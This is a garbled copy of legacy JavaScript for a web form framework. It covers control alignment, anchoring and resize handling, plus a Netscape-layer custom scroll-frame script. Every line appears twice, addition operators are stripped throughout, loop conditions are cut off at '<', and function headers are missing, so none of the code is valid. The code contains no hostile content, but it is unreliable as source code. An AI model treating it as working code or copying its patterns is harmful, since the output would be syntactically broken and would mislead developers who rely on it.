LNewTop = AControl.OriginalRect.Top AParent.Rect.Height - AParent.OriginalRect.Height;
LNewTop = ((AControl.OriginalRect.Top AControl.OriginalRect.Height / 2) * AParent.Rect.Height) /
LNewTop = ((AControl.OriginalRect.Top AControl.OriginalRect.Height / 2) * AParent.Rect.Height) /
AParent.OriginalRect.Height - (LNewHeight / 2);
AParent.OriginalRect.Height - (LNewHeight / 2);
switch (AControl.Align) {
switch (AControl.Align) {
LNewRect.Height = LNewHeight;
LNewRect.Height = LNewHeight;
LNewRect.Top = AParent.ClientRect.Top;
LNewRect.Top = AParent.ClientRect.Top;
LNewRect.Width = AParent.ClientRect.Width-(2*AParent.BorderWidthPixels);
LNewRect.Width = AParent.ClientRect.Width-(2*AParent.BorderWidthPixels);
LNewRect.Left = AParent.ClientRect.Left;
LNewRect.Left = AParent.ClientRect.Left;
AParent.ClientRect.Top = AParent.ClientRect.Top LNewHeight;
AParent.ClientRect.Top = AParent.ClientRect.Top LNewHeight;
AParent.ClientRect.Height = AParent.ClientRect.Height - LNewHeight;
AParent.ClientRect.Height = AParent.ClientRect.Height - LNewHeight;
LNewRect.Top = (AParent.ClientRect.Height AParent.ClientRect.Top) - LNewRect.Height - (2*AParent.BorderWidthPixels);
LNewRect.Top = (AParent.ClientRect.Height AParent.ClientRect.Top) - LNewRect.Height - (2*AParent.BorderWidthPixels);
LNewRect.Width = AParent.ClientRect.Width - (2*AParent.BorderWidthPixels);
LNewRect.Width = AParent.ClientRect.Width - (2*AParent.BorderWidthPixels);
LNewRect.Width = LNewWidth;
LNewRect.Width = LNewWidth;
LNewRect.Height = AParent.ClientRect.Height - (2*AParent.BorderWidthPixels); // AParent.OriginalRect.Top;
LNewRect.Height = AParent.ClientRect.Height - (2*AParent.BorderWidthPixels); // AParent.OriginalRect.Top;
AParent.ClientRect.Left = AParent.ClientRect.Left LNewWidth;
AParent.ClientRect.Left = AParent.ClientRect.Left LNewWidth;
AParent.ClientRect.Width = AParent.ClientRect.Width - LNewWidth;
AParent.ClientRect.Width = AParent.ClientRect.Width - LNewWidth;
LNewRect.Left = (AParent.ClientRect.Left AParent.ClientRect.Width) - LNewRect.Width - (2*AParent.BorderWidthPixels);
LNewRect.Left = (AParent.ClientRect.Left AParent.ClientRect.Width) - LNewRect.Width - (2*AParent.BorderWidthPixels);
LNewRect.Height = AParent.ClientRect.Height - (2*AParent.BorderWidthPixels);
LNewRect.Height = AParent.ClientRect.Height - (2*AParent.BorderWidthPixels);
AControl.SetRect(LNewRect);
AControl.SetRect(LNewRect);
AControl.UpdateRects(LNewRect);
AControl.UpdateRects(LNewRect);
var a = AControl.Anchors;
var a = AControl.Anchors;
var cr = AParent.ClientRect;
var cr = AParent.ClientRect;
if (a.Left && !a.Right) {
if (a.Left && !a.Right) {
} else if (a.Left && a.Right) {
} else if (a.Left && a.Right) {
} else if (!a.Left && a.Right) {
} else if (!a.Left && a.Right) {
} else if (!a.Left && !a.Right) {
} else if (!a.Left && !a.Right) {
if (a.Top && !a.Bottom) {
if (a.Top && !a.Bottom) {
} else if (a.Top && a.Bottom) {
} else if (a.Top && a.Bottom) {
} else if (!a.Top && a.Bottom) {
} else if (!a.Top && a.Bottom) {
} else if (!a.Top && !a.Bottom) {
} else if (!a.Top && !a.Bottom) {
LNewRect.Top = cr.Top;
LNewRect.Top = cr.Top;
LNewRect.Width = cr.Width-(2*AParent.BorderWidthPixels);
LNewRect.Width = cr.Width-(2*AParent.BorderWidthPixels);
LNewRect.Left = cr.Left;
LNewRect.Left = cr.Left;
cr.Top = cr.Top LNewHeight;
cr.Top = cr.Top LNewHeight;
cr.Height = cr.Height - LNewHeight;
cr.Height = cr.Height - LNewHeight;
LNewRect.Top = (cr.Height cr.Top) - LNewRect.Height - (2*AParent.BorderWidthPixels);
LNewRect.Top = (cr.Height cr.Top) - LNewRect.Height - (2*AParent.BorderWidthPixels);
LNewRect.Width = cr.Width - (2*AParent.BorderWidthPixels);
LNewRect.Width = cr.Width - (2*AParent.BorderWidthPixels);
LNewRect.Height = cr.Height - (2*AParent.BorderWidthPixels); // AParent.OriginalRect.Top;
LNewRect.Height = cr.Height - (2*AParent.BorderWidthPixels); // AParent.OriginalRect.Top;
cr.Left = cr.Left LNewWidth;
cr.Left = cr.Left LNewWidth;
cr.Width = cr.Width - LNewWidth;
cr.Width = cr.Width - LNewWidth;
LNewRect.Left = (cr.Left cr.Width) - LNewRect.Width - (2*AParent.BorderWidthPixels);
LNewRect.Left = (cr.Left cr.Width) - LNewRect.Width - (2*AParent.BorderWidthPixels);
LNewRect.Height = cr.Height - (2*AParent.BorderWidthPixels);
LNewRect.Height = cr.Height - (2*AParent.BorderWidthPixels);
switch (A.Align) {
switch (A.Align) {
return A.Rect.Top - B.Rect.Top;
return A.Rect.Top - B.Rect.Top;
return B.Rect.Top - A.Rect.Top;
return B.Rect.Top - A.Rect.Top;
return A.Rect.Left - B.Rect.Left;
return A.Rect.Left - B.Rect.Left;
return B.Rect.Left - A.Rect.Left;
return B.Rect.Left - A.Rect.Left;
var i = AParent.OwnedComps.length;
var i = AParent.OwnedComps.length;
if (AParent.OwnedComps[idx].Align == AAlign && IsVisible(AParent.OwnedComps[idx])) {
if (AParent.OwnedComps[idx].Align == AAlign && IsVisible(AParent.OwnedComps[idx])) {
AlignList[AlignList.length] = AParent.OwnedComps[idx];
AlignList[AlignList.length] = AParent.OwnedComps[idx];
AlignList.sort(AlignListSort);
AlignList.sort(AlignListSort);
i = AlignList.length;
i = AlignList.length;
for(i=0; i
for(i=0; i
if (AParent.OwnedComps[i].Align == AAlign && IsVisible(AParent.OwnedComps[i])) {
if (AParent.OwnedComps[i].Align == AAlign && IsVisible(AParent.OwnedComps[i])) {
AlignList[AlignList.length] = AParent.OwnedComps[i];
AlignList[AlignList.length] = AParent.OwnedComps[i];
for (i=0; i
for (i=0; i
this.SetRect(this.Rect);
this.SetRect(this.Rect);
for (j=0; j
for (j=0; j
if (AName == xSubmitForm.elements[j].name) {
if (AName == xSubmitForm.elements[j].name) {
return xSubmitForm.elements[j];
return xSubmitForm.elements[j];
resizeFrame.src = GResizeURL "&IW_width=" AWidth "&IW_height=" AHeight;
resizeFrame.src = GResizeURL "&IW_width=" AWidth "&IW_height=" AHeight;
ARect.Width = 2 * dWidth;
ARect.Width = 2 * dWidth;
ARect.Height = 2 * dHeight;
ARect.Height = 2 * dHeight;
if (IWCLForm.timerid != null && (this.Rect.Width != ANewRect.Width || this.Rect.Height != ANewRect.Height)) {
if (IWCLForm.timerid != null && (this.Rect.Width != ANewRect.Width || this.Rect.Height != ANewRect.Height)) {
clearTimeout(IWCLForm.timerid)
clearTimeout(IWCLForm.timerid)
(this.Rect.Width != ANewRect.Width || this.Rect.Height != ANewRect.Height)) {
(this.Rect.Width != ANewRect.Width || this.Rect.Height != ANewRect.Height)) {
this.timerid = setTimeout("IWCL_SendNewSize(" ANewRect.Width ", " ANewRect.Height ")", GOnResizetimeout);
this.timerid = setTimeout("IWCL_SendNewSize(" ANewRect.Width ", " ANewRect.Height ")", GOnResizetimeout);
lWidth.value = ANewRect.Width;
lWidth.value = ANewRect.Width;
lHeight.value = ANewRect.Height;
lHeight.value = ANewRect.Height;
this.ClientRect = new Rect(0, 0, ANewRect.Width, ANewRect.Height);
this.ClientRect = new Rect(0, 0, ANewRect.Width, ANewRect.Height);
this.Rect = CopyRect(ANewRect);
this.Rect = CopyRect(ANewRect);
if (this.OwnedComps.length > 0) {
if (this.OwnedComps.length > 0) {
Status("Size: (" ANewRect.Width ", " ANewRect.Height "); Scroll size: (" window.document.body.scrollWidth ", " window.document.body.scrollHeight ");");
Status("Size: (" ANewRect.Width ", " ANewRect.Height "); Scroll size: (" window.document.body.scrollWidth ", " window.document.body.scrollHeight ");");
item.style.left = IWCLForm.Item.scrollLeft;
item.style.left = IWCLForm.Item.scrollLeft;
item.style.top = IWCLForm.Item.scrollTop;
item.style.top = IWCLForm.Item.scrollTop;
item.style.width = IWCLForm.Item.clientWidth;
item.style.width = IWCLForm.Item.clientWidth;
item.style.height = IWCLForm.Item.clientHeight;
item.style.height = IWCLForm.Item.clientHeight;
item.style.width = IWCLForm.Rect.Width;
item.style.width = IWCLForm.Rect.Width;
item.style.height = IWCLForm.Rect.Height;
item.style.height = IWCLForm.Rect.Height;
item.style.visibility = "visible";
item.style.visibility = "visible";
item.style.display = "";
item.style.display = "";
IWCLForm.oldCursors = new Array();
IWCLForm.oldCursors = new Array();
IWCLForm.HTMLelements = new Array();
IWCLForm.HTMLelements = new Array();
SetCursor(window.document.body);
SetCursor(window.document.body);
if (IWCLForm && IWCLForm.HTMLelements) {
if (IWCLForm && IWCLForm.HTMLelements) {
item.style.visibility = "hidden";
item.style.visibility = "hidden";
item.style.display = "none";
item.style.display = "none";
if( IWCLForm.HTMLelements ){
if( IWCLForm.HTMLelements ){
for (i = 0; i
for (i = 0; i
IWCLForm.HTMLelements[i].style.cursor = IWCLForm.oldCursors[i];
IWCLForm.HTMLelements[i].style.cursor = IWCLForm.oldCursors[i];
var ie4 = (document.all)? true:false;
var ie4 = (document.all)? true:false;
var ns6 = (document.getElementById)? true && !ie4:false;
var ns6 = (document.getElementById)? true && !ie4:false;
var opera_browser = (window.opera)?true:false;
var opera_browser = (window.opera)?true:false;
var KHTML_browser = (navigator.vendor == 'KDE') || ( document.childNodes && !document.all && !navigator.taintEnabled );
var KHTML_browser = (navigator.vendor == 'KDE') || ( document.childNodes && !document.all && !navigator.taintEnabled );
var _nav4 = (navigator.appName.indexOf("Netscape") != -1);
var _nav4 = (navigator.appName.indexOf("Netscape") != -1);
var _domain = document.domain;
var _domain = document.domain;
this.top = top;
this.top = top;
this.left = left;
this.left = left;
this.width = width;
this.width = width;
this.height = height;
this.height = height;
this.src = src;
this.src = src;
this.baseHREF = baseHREF;
this.baseHREF = baseHREF;
this.borderColor = borderColor || "#DDDDDD";
this.borderColor = borderColor || "#DDDDDD";
this.inSync = new Array();
this.inSync = new Array();
this.id = _numScrolls;
this.id = _numScrolls;
this.load = _fLoadSrc;
this.load = _fLoadSrc;
this.scrollTo = _fScrollTo;
this.scrollTo = _fScrollTo;
this.scrollBy = _fScrollBy;
this.scrollBy = _fScrollBy;
this.init = _fInit;
this.init = _fInit;
this.setup = _fSetup;
this.setup = _fSetup;
if(src.indexOf("hXXp://") != -1) {
if(src.indexOf("hXXp://") != -1) {
if(src.indexOf(_domain) == -1) {
if(src.indexOf(_domain) == -1) {
alert("fframe.js: Sorry, the src you specified is not in this domain.");
alert("fframe.js: Sorry, the src you specified is not in this domain.");
this.isInit = false;
this.isInit = false;
this.isSetup = false;
this.isSetup = false;
this.baseHREF = GURLBase "/gfx/sb_";
this.baseHREF = GURLBase "/gfx/sb_";
if(!_scrollImgs) _fLoadImages(this.baseHREF);
if(!_scrollImgs) _fLoadImages(this.baseHREF);
this.init();
this.init();
this.load(false, false);
this.load(false, false);
this.setup();
this.setup();
document.body.innerHTML =
document.body.innerHTML =
this.layer = document.all["scroll" _numScrolls];
this.layer = document.all["scroll" _numScrolls];
this.layer.style.borderColor = this.borderColor;
this.layer.style.borderColor = this.borderColor;
this.isInit = true;
this.isInit = true;
this.isSetup = true;
this.isSetup = true;
_scrolls[this.id] = this;
_scrolls[this.id] = this;
_scrollImgs[0].src = baseHREF "vup.gif";
_scrollImgs[0].src = baseHREF "vup.gif";
_scrollImgs[1].src = baseHREF "vup2.gif";
_scrollImgs[1].src = baseHREF "vup2.gif";
_scrollImgs[2].src = baseHREF "vdown.gif";
_scrollImgs[2].src = baseHREF "vdown.gif";
_scrollImgs[3].src = baseHREF "vdown2.gif";
_scrollImgs[3].src = baseHREF "vdown2.gif";
_scrollImgs[4].src = baseHREF "hleft.gif";
_scrollImgs[4].src = baseHREF "hleft.gif";
_scrollImgs[5].src = baseHREF "hleft2.gif";
_scrollImgs[5].src = baseHREF "hleft2.gif";
_scrollImgs[6].src = baseHREF "hright.gif";
_scrollImgs[6].src = baseHREF "hright.gif";
_scrollImgs[7].src = baseHREF "hright2.gif";
_scrollImgs[7].src = baseHREF "hright2.gif";
_scrollImgs[8].src = baseHREF "vbg.gif";
_scrollImgs[8].src = baseHREF "vbg.gif";
_scrollImgs[9].src = baseHREF "vthumb.gif";
_scrollImgs[9].src = baseHREF "vthumb.gif";
_scrollImgs[10].src = baseHREF "hbg.gif";
_scrollImgs[10].src = baseHREF "hbg.gif";
_scrollImgs[11].src = baseHREF "hthumb.gif";
_scrollImgs[11].src = baseHREF "hthumb.gif";
_scrollImgs[12].src = baseHREF "null.gif";
_scrollImgs[12].src = baseHREF "null.gif";
borderLayer = new Layer(frame.width 2);
borderLayer = new Layer(frame.width 2);
borderLayer.left = frame.left-1;
borderLayer.left = frame.left-1;
borderLayer.top = frame.top-1;
borderLayer.top = frame.top-1;
borderLayer.clip.width = frame.width 2;
borderLayer.clip.width = frame.width 2;
borderLayer.height = frame.height 2;
borderLayer.height = frame.height 2;
borderLayer.clip.height = frame.height 2;
borderLayer.clip.height = frame.height 2;
borderLayer.document.bgColor = frame.borderColor;
borderLayer.document.bgColor = frame.borderColor;
borderLayer.visibility = "inherit";
borderLayer.visibility = "inherit";
frame.borderLayer = borderLayer;
frame.borderLayer = borderLayer;
contentLayer = new Layer(frame.width);
contentLayer = new Layer(frame.width);
contentLayer.captureEvents(Event.ONLOAD);
contentLayer.captureEvents(Event.ONLOAD);
contentLayer.onLoad = _fOnLoad;
contentLayer.onLoad = _fOnLoad;
frame.layer = contentLayer;
frame.layer = contentLayer;
frame.layer.frame = frame;
frame.layer.frame = frame;
frame.vspLayer = new Layer(16);// contains scroll bar
frame.vspLayer = new Layer(16);// contains scroll bar
frame.vsuLayer = new Layer(16);// contains up arrow
frame.vsuLayer = new Layer(16);// contains up arrow
frame.vsdLayer = new Layer(16);// contains down arrow
frame.vsdLayer = new Layer(16);// contains down arrow
frame.vssLayer = new Layer(16);// contains thumb
frame.vssLayer = new Layer(16);// contains thumb
_fInitComp(frame.vspLayer,
_fInitComp(frame.vspLayer,
_fInitComp(frame.vsuLayer,
_fInitComp(frame.vsuLayer,
_fInitComp(frame.vsdLayer,
_fInitComp(frame.vsdLayer,
_fInitComp(frame.vssLayer,
_fInitComp(frame.vssLayer,
frame.vssLayer.parLayer = frame.layer;
frame.vssLayer.parLayer = frame.layer;
frame.vssLayer.spLayer = frame.vspLayer;
frame.vssLayer.spLayer = frame.vspLayer;
frame.vspLayer.ssLayer = frame.vssLayer;
frame.vspLayer.ssLayer = frame.vssLayer;
frame.vsuLayer.ssLayer = frame.vssLayer;
frame.vsuLayer.ssLayer = frame.vssLayer;
frame.vsdLayer.ssLayer = frame.vssLayer;
frame.vsdLayer.ssLayer = frame.vssLayer;
frame.hspLayer = new Layer(frame.width-29);// contains scroll bar
frame.hspLayer = new Layer(frame.width-29);// contains scroll bar
frame.hsuLayer = new Layer(16);// contains left arrow
frame.hsuLayer = new Layer(16);// contains left arrow
frame.hsdLayer = new Layer(16);// contains right arrow
frame.hsdLayer = new Layer(16);// contains right arrow
frame.hssLayer = new Layer(17);// contains thumb
frame.hssLayer = new Layer(17);// contains thumb
_fInitComp(frame.hspLayer,
_fInitComp(frame.hspLayer,
_fInitComp(frame.hsuLayer,
_fInitComp(frame.hsuLayer,
_fInitComp(frame.hsdLayer,
_fInitComp(frame.hsdLayer,
_fInitComp(frame.hssLayer,
_fInitComp(frame.hssLayer,
frame.hssLayer.parLayer = frame.layer;
frame.hssLayer.parLayer = frame.layer;
frame.hssLayer.spLayer = frame.hspLayer;
frame.hssLayer.spLayer = frame.hspLayer;
frame.hspLayer.ssLayer = frame.hssLayer;
frame.hspLayer.ssLayer = frame.hssLayer;
frame.hsuLayer.ssLayer = frame.hssLayer;
frame.hsuLayer.ssLayer = frame.hssLayer;
frame.hsdLayer.ssLayer = frame.hssLayer;
frame.hsdLayer.ssLayer = frame.hssLayer;
frame.nLayer = new Layer(15);// when two scroll bars
frame.nLayer = new Layer(15);// when two scroll bars
_fInitComp(frame.nLayer,
_fInitComp(frame.nLayer,
frame.isInit = true;
frame.isInit = true;
if(_loading || !frame.isInit) {
if(_loading || !frame.isInit) {
src = src || frame.src;
src = src || frame.src;
frame.src = src;
frame.src = src;
frame.layer.load(src, frame.width);
frame.layer.load(src, frame.width);
if(frame.isSetup) {
if(frame.isSetup) {
frame.layer.vScroll(0, false, true);
frame.layer.vScroll(0, false, true);
frame.layer.hScroll(0, false, true);
frame.layer.hScroll(0, false, true);
if(!noSetup) frame.setup();
if(!noSetup) frame.setup();
frame.layer.src = src;
frame.layer.src = src;
frame.hMax = frame.layer.document.width;
frame.hMax = frame.layer.document.width;
frame.vMax = frame.layer.document.height;
frame.vMax = frame.layer.document.height;
if((frame.hMax > frame.width) && !frame.hasHScroll) {
if((frame.hMax > frame.width) && !frame.hasHScroll) {
frame.hasHScroll = true;
frame.hasHScroll = true;
frame.height -= 16; // make content shorter to fit horiz. scroll bar
frame.height -= 16; // make content shorter to fit horiz. scroll bar
frame.load(); // reload to see if hMax changes
frame.load(); // reload to see if hMax changes
} else if((frame.hMax
} else if((frame.hMax
frame.hasHScroll = false;
frame.hasHScroll = false;
frame.height = 16; // make content taller
frame.height = 16; // make content taller
if((frame.vMax > frame.height) && !frame.hasVScroll) {
if((frame.vMax > frame.height) && !frame.hasVScroll) {
frame.hasVScroll = true;
frame.hasVScroll = true;
frame.width -= 16; // make content skinnier to fit vert. scroll bar
frame.width -= 16; // make content skinnier to fit vert. scroll bar
frame.load(); // reload to see if vMax changes
frame.load(); // reload to see if vMax changes
} else if((frame.vMax
} else if((frame.vMax
frame.hasVScroll = false;
frame.hasVScroll = false;
frame.width = 16; // make content fatter
frame.width = 16; // make content fatter
frame.load(); // reload to see if hMax changes
frame.load(); // reload to see if hMax changes
frame.layer.left = frame.left;
frame.layer.left = frame.left;
frame.layer.top = frame.top;
frame.layer.top = frame.top;
frame.layer.clip.top = 0;
frame.layer.clip.top = 0;
frame.layer.clip.left = 0;
frame.layer.clip.left = 0;
frame.layer.clip.width = frame.width;
frame.layer.clip.width = frame.width;
frame.layer.clip.height = frame.height;
frame.layer.clip.height = frame.height;
frame.layer.bgColor = "#FFFFFF";
frame.layer.bgColor = "#FFFFFF";
frame.layer.visibility = "show";
frame.layer.visibility = "show";
frame.layer.oHeight = frame.height;
frame.layer.oHeight = frame.height;
frame.layer.oWidth = frame.width;
frame.layer.oWidth = frame.width;
frame.layer.oTop = frame.top;
frame.layer.oTop = frame.top;
frame.layer.oLeft = frame.left;
frame.layer.oLeft = frame.left;
frame.layer.vMax = frame.vMax;
frame.layer.vMax = frame.vMax;
frame.layer.hMax = frame.hMax;
frame.layer.hMax = frame.hMax;
frame.layer.vScroll = _fVScroll;
frame.layer.vScroll = _fVScroll;
frame.layer.hScroll = _fHScroll;
frame.layer.hScroll = _fHScroll;
frame.vssLayer.v = frame.hasVScroll;
frame.vssLayer.v = frame.hasVScroll;
frame.hssLayer.h = frame.hasHScroll;
frame.hssLayer.h = frame.hasHScroll;
if(frame.hasVScroll) {
if(frame.hasVScroll) {
var vspLayerBottom = frame.height-31;
var vspLayerBottom = frame.height-31;
var vspLayerTop = frame.top 16;
var vspLayerTop = frame.top 16;
var vsdLayerTop = frame.top frame.height-16;
var vsdLayerTop = frame.top frame.height-16;
if(frame.baseHREF.indexOf("mac") != -1) {
if(frame.baseHREF.indexOf("mac") != -1) {
_fMoveComp(frame.vspLayer,
_fMoveComp(frame.vspLayer,
vspLayerTop, frame.left frame.width, 16, vspLayerBottom);
vspLayerTop, frame.left frame.width, 16, vspLayerBottom);
_fMoveComp(frame.vsuLayer,
_fMoveComp(frame.vsuLayer,
frame.top, frame.vspLayer.left, 16, 16);
frame.top, frame.vspLayer.left, 16, 16);
_fMoveComp(frame.vsdLayer,
_fMoveComp(frame.vsdLayer,
vsdLayerTop, frame.vspLayer.left, 16, 16);
vsdLayerTop, frame.vspLayer.left, 16, 16);
_fMoveComp(frame.vssLayer,
_fMoveComp(frame.vssLayer,
vspLayerTop, frame.vspLayer.left, 16, 17);
vspLayerTop, frame.vspLayer.left, 16, 17);
frame.vssLayer.visibility = "hide";
frame.vssLayer.visibility = "hide";
frame.vspLayer.visibility = "hide";
frame.vspLayer.visibility = "hide";
frame.vsuLayer.visibility = "hide";
frame.vsuLayer.visibility = "hide";
frame.vsdLayer.visibility = "hide";
frame.vsdLayer.visibility = "hide";
if(frame.hasHScroll) {
if(frame.hasHScroll) {
var hspLayerWidth = frame.width-31;
var hspLayerWidth = frame.width-31;
var hspLayerLeft = frame.left 16;
var hspLayerLeft = frame.left 16;
var hsdLayerLeft = frame.left frame.width - 16;
var hsdLayerLeft = frame.left frame.width - 16;
_fMoveComp(frame.hspLayer,
_fMoveComp(frame.hspLayer,
frame.top frame.height, hspLayerLeft, hspLayerWidth, 16);
frame.top frame.height, hspLayerLeft, hspLayerWidth, 16);
_fMoveComp(frame.hsuLayer,
_fMoveComp(frame.hsuLayer,
frame.hspLayer.top, frame.left, 16, 16);
frame.hspLayer.top, frame.left, 16, 16);
_fMoveComp(frame.hsdLayer,
_fMoveComp(frame.hsdLayer,
frame.hspLayer.top, hsdLayerLeft, 16, 16);
frame.hspLayer.top, hsdLayerLeft, 16, 16);
_fMoveComp(frame.hssLayer,
_fMoveComp(frame.hssLayer,
frame.hspLayer.top, hspLayerLeft, 17, 16);
frame.hspLayer.top, hspLayerLeft, 17, 16);
frame.hssLayer.visibility = "hide";
frame.hssLayer.visibility = "hide";
frame.hspLayer.visibility = "hide";
frame.hspLayer.visibility = "hide";
frame.hsuLayer.visibility = "hide";
frame.hsuLayer.visibility = "hide";
frame.hsdLayer.visibility = "hide";
frame.hsdLayer.visibility = "hide";
if(frame.hasHScroll || frame.hasVScroll) {
if(frame.hasHScroll || frame.hasVScroll) {
document.captureEvents(Event.MOUSEMOVE);
document.captureEvents(Event.MOUSEMOVE);
document.onmousemove = _scrollDrag;
document.onmousemove = _scrollDrag;
if(frame.hasHScroll && frame.hasVScroll)
if(frame.hasHScroll && frame.hasVScroll)
_fMoveComp(frame.nLayer,
_fMoveComp(frame.nLayer,
frame.top frame.height 1, frame.left frame.width 1, 15, 15);
frame.top frame.height 1, frame.left frame.width 1, 15, 15);
frame.nLayer.visibility = "hide";
frame.nLayer.visibility = "hide";
frame.isSetup = true;
frame.isSetup = true;
layer.captureEvents(Event.MOUSEDOWN|Event.MOUSEUP);
layer.captureEvents(Event.MOUSEDOWN|Event.MOUSEUP);
layer.onmousedown = onmousedown;
layer.onmousedown = onmousedown;
layer.onmouseup = onmouseup;
layer.onmouseup = onmouseup;
layer.background.src = _scrollImgs[bgSrc].src;
layer.background.src = _scrollImgs[bgSrc].src;
layer.top = top;
layer.top = top;
layer.left = left;
layer.left = left;
layer.clip.width = width;
layer.clip.width = width;
layer.clip.height = height;
layer.clip.height = height;
layer.visibility = "inherit";
layer.visibility = "inherit";
for(i=0; i
for(i=0; i
out = this.document.links[i];
out = this.document.links[i];
this.captureEvents(Event.ONLOAD | Event.MOUSEDOWN);
this.captureEvents(Event.ONLOAD | Event.MOUSEDOWN);
this.onLoad = _fOnLoad;
this.onLoad = _fOnLoad;
this.onMouseDown = _fOnMouseDown;
this.onMouseDown = _fOnMouseDown;
if(e.target && this.frame) {
if(e.target && this.frame) {
if(e.target.href) {
if(e.target.href) {
if((e.target.href.indexOf("mailto:") == -1) &&
if((e.target.href.indexOf("mailto:") == -1) &&
(e.target.hostname == _domain) &&
(e.target.hostname == _domain) &&
((e.target.target == null) ||
((e.target.target == null) ||
(e.target.target == "_self"))) { // no TARGET specified
(e.target.target == "_self"))) { // no TARGET specified
this.frame.load(e.target);
this.frame.load(e.target);
document.frames("scroll" this.id).self.scrollTo(x,y);
document.frames("scroll" this.id).self.scrollTo(x,y);
if((typeof(x) == "number") && (this.hMax > this.width)) {
if((typeof(x) == "number") && (this.hMax > this.width)) {
var p = x/(this.hMax - this.width);
var p = x/(this.hMax - this.width);
this.layer.hScroll(p,true);
this.layer.hScroll(p,true);
if((typeof(y) == "number") && (this.vMax > this.height)) {
if((typeof(y) == "number") && (this.vMax > this.height)) {
var p = y/(this.vMax - this.height);
var p = y/(this.vMax - this.height);
this.layer.vScroll(p,true);
this.layer.vScroll(p,true);
document.frames("scroll" this.id).self.scrollBy(x,y);
document.frames("scroll" this.id).self.scrollBy(x,y);
x = this.layer.clip.left;
x = this.layer.clip.left;
y = this.layer.clip.top;
y = this.layer.clip.top;
i = p*(this.vMax - this.oHeight);
i = p*(this.vMax - this.oHeight);
this.clip.top = i;
this.clip.top = i;
this.clip.bottom = this.oHeight i;
this.clip.bottom = this.oHeight i;
this.clip.height = this.oHeight;
this.clip.height = this.oHeight;
this.top = this.oTop - i;
this.top = this.oTop - i;
var frame = this.frame;
var frame = this.frame;
frame.vssLayer.top = p*(frame.vspLayer.clip.height -
frame.vssLayer.top = p*(frame.vspLayer.clip.height -
frame.vssLayer.clip.height)
frame.vssLayer.clip.height)
frame.vspLayer.top;
frame.vspLayer.top;
for(f in this.frame.inSync) {
for(f in this.frame.inSync) {
f = this.frame.inSync[f];
f = this.frame.inSync[f];
if(f.hMax > f.width) {
if(f.hMax > f.width) {
p = i/(f.vMax - f.height);
p = i/(f.vMax - f.height);
f.layer.vScroll(p, true, true);
f.layer.vScroll(p, true, true);
i = p*(this.hMax - this.oWidth);
i = p*(this.hMax - this.oWidth);
this.clip.left = i;
this.clip.left = i;
this.clip.right = this.oWidth i;
this.clip.right = this.oWidth i;
this.clip.width = this.oWidth;
this.clip.width = this.oWidth;
this.left = this.oLeft - i;
this.left = this.oLeft - i;
frame.hssLayer.left = p*(frame.hspLayer.clip.width -
frame.hssLayer.left = p*(frame.hspLayer.clip.width -
frame.hssLayer.clip.width)
frame.hssLayer.clip.width)
frame.hspLayer.left;
frame.hspLayer.left;
p = i/(f.hMax - f.width);
p = i/(f.hMax - f.width);
f.layer.hScroll(p, true, true);
f.layer.hScroll(p, true, true);
_lastScrolledId = this.ssLayer.parLayer.frame.id;
_lastScrolledId = this.ssLayer.parLayer.frame.id;
_thumbLayer = this.ssLayer;
_thumbLayer = this.ssLayer;
_barLayer = this.ssLayer.spLayer;
_barLayer = this.ssLayer.spLayer;
_scrollLayer = this.ssLayer.parLayer;
_scrollLayer = this.ssLayer.parLayer;
this.background.src = _scrollImgs[3].src;
this.background.src = _scrollImgs[3].src;
p = (_scrollLayer.clip.top 15) /
p = (_scrollLayer.clip.top 15) /
(_scrollLayer.vMax - _scrollLayer.oHeight);
(_scrollLayer.vMax - _scrollLayer.oHeight);
_scrollLayer.vScroll(p, true);
_scrollLayer.vScroll(p, true);
this.background.src = _scrollImgs[2].src;
this.background.src = _scrollImgs[2].src;
this.background.src = _scrollImgs[1].src;
this.background.src = _scrollImgs[1].src;
p = (_scrollLayer.clip.top-15) /
p = (_scrollLayer.clip.top-15) /
this.background.src = _scrollImgs[0].src;
this.background.src = _scrollImgs[0].src;
this.background.src = _scrollImgs[7].src;
this.background.src = _scrollImgs[7].src;
p = (_scrollLayer.clip.left 15) /
p = (_scrollLayer.clip.left 15) /
(_scrollLayer.hMax - _scrollLayer.oWidth);
(_scrollLayer.hMax - _scrollLayer.oWidth);
_scrollLayer.hScroll(p, true);
_scrollLayer.hScroll(p, true);
this.background.src = _scrollImgs[6].src;
this.background.src = _scrollImgs[6].src;
this.background.src = _scrollImgs[5].src;
this.background.src = _scrollImgs[5].src;
p = (_scrollLayer.clip.left-15) /
p = (_scrollLayer.clip.left-15) /
this.background.src = _scrollImgs[4].src;
this.background.src = _scrollImgs[4].src;
if(e.pageY > this.ssLayer.top)
if(e.pageY > this.ssLayer.top)
_scrollInt = setInterval("_scrollVJump(" dir "," e.pageY ");", 50);
_scrollInt = setInterval("_scrollVJump(" dir "," e.pageY ");", 50);
p = (_scrollLayer.clip.top dir*_scrollLayer.clip.height)/
p = (_scrollLayer.clip.top dir*_scrollLayer.clip.height)/
t = p*(_barLayer.clip.height - _thumbLayer.clip.height)
t = p*(_barLayer.clip.height - _thumbLayer.clip.height)
_barLayer.top;
_barLayer.top;
_scrollLayer.vScroll(p);
_scrollLayer.vScroll(p);
_thumbLayer.top = t;
_thumbLayer.top = t;
if(e.pageX > this.ssLayer.left)
if(e.pageX > this.ssLayer.left)
_scrollInt = setInterval("_scrollHJump(" dir "," e.pageX ");", 50);
_scrollInt = setInterval("_scrollHJump(" dir "," e.pageX ");", 50);
p = (_scrollLayer.clip.left dir*_scrollLayer.clip.width)/
p = (_scrollLayer.clip.left dir*_scrollLayer.clip.width)/
t = p*(_barLayer.clip.width - _thumbLayer.clip.width)
t = p*(_barLayer.clip.width - _thumbLayer.clip.width)
_barLayer.left;
_barLayer.left;
_scrollLayer.hScroll(p);
_scrollLayer.hScroll(p);
_thumbLayer.left = t;
_thumbLayer.left = t;
if(this.parLayer) {
if(this.parLayer) {
_lastScrolledId = this.parLayer.frame.id;
_lastScrolledId = this.parLayer.frame.id;
_dragObject.oTop = _dragObject.top;
_dragObject.oTop = _dragObject.top;
_dragObject.oLeft = _dragObject.left;
_dragObject.oLeft = _dragObject.left;
_dragObject.hOffset = e.pageX - _dragObject.oLeft;
_dragObject.hOffset = e.pageX - _dragObject.oLeft;
_dragObject.vOffset = e.pageY - _dragObject.oTop;
_dragObject.vOffset = e.pageY - _dragObject.oTop;
var pY = e.pageY;
var pY = e.pageY;
var pX = e.pageX;
var pX = e.pageX;
pY -= _dragObject.vOffset;
pY -= _dragObject.vOffset;
if((pX > (_dragObject.left 54)) ||
if((pX > (_dragObject.left 54)) ||
(pX
(pX
pY = _dragObject.oTop;
pY = _dragObject.oTop;
if(pY
if(pY
